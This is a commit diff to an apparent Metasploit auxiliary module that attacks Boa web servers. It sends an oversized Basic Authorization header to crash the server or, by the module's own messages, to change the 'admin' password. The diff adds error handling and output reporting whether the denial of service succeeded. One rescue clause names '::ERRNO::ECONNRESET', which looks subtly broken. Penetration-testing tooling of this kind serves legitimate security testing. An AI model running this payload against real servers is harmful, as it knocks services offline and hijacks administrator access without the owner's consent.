realized ranking was only for exploits, added output to aid with checking whether or not the password was changed or denial of service was achieved. also added some error handling

modules/auxiliary/dos/http/boa_auth_dos.rb

@@ -12,7 +12,6 @@
 require 'msf/core'
 
 class Metasploit3 < Msf::Auxiliary
-	Rank = GoodRanking
 
 	include Msf::Exploit::Remote::Tcp
 	include Msf::Auxiliary::Dos
@@ -49,19 +48,29 @@ class Metasploit3 < Msf::Auxiliary
 	end
 
 	def run
-		connect
-		print_status("Sending packet to #{rhost}:#{rport}")
-		auth = "X" * 127
-		auth << ":"
-		auth << datastore['Password']
+		begin
+			connect
+			print_status("Sending packet to #{rhost}:#{rport}")
+			auth = "X" * 127
+			auth << ":"
+			auth << datastore['Password']
 
-		sploit = "GET "
-		sploit << datastore['URI']
-		sploit << " HTTP/1.1\r\nAuthorization: Basic\r\n"
-		sploit << Base64.encode64(auth)
-		sploit << "\r\n\r\n"
+			sploit = "GET "
+			sploit << datastore['URI']
+			sploit << " HTTP/1.1\r\nAuthorization: Basic\r\n"
+			sploit << Base64.encode64(auth)
+			sploit << "\r\n\r\n"
 
-		sock.put(sploit)
-		disconnect
+			sock.put(sploit)
+			disconnect
+
+			print_status("Server not crashed.  Either the password for 'admin' has been changed or this server is not vulnerable")
+
+		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
+			print_status("Unable to connect to #{rhost}:#{rport}.")
+		rescue ::ERRNO::ECONNRESET
+			print_status("DoS packet successful. #{rhost} not responding.")
+		rescue ::Timeout::Error, ::Errno::EPIPE
+		end
 	end
 end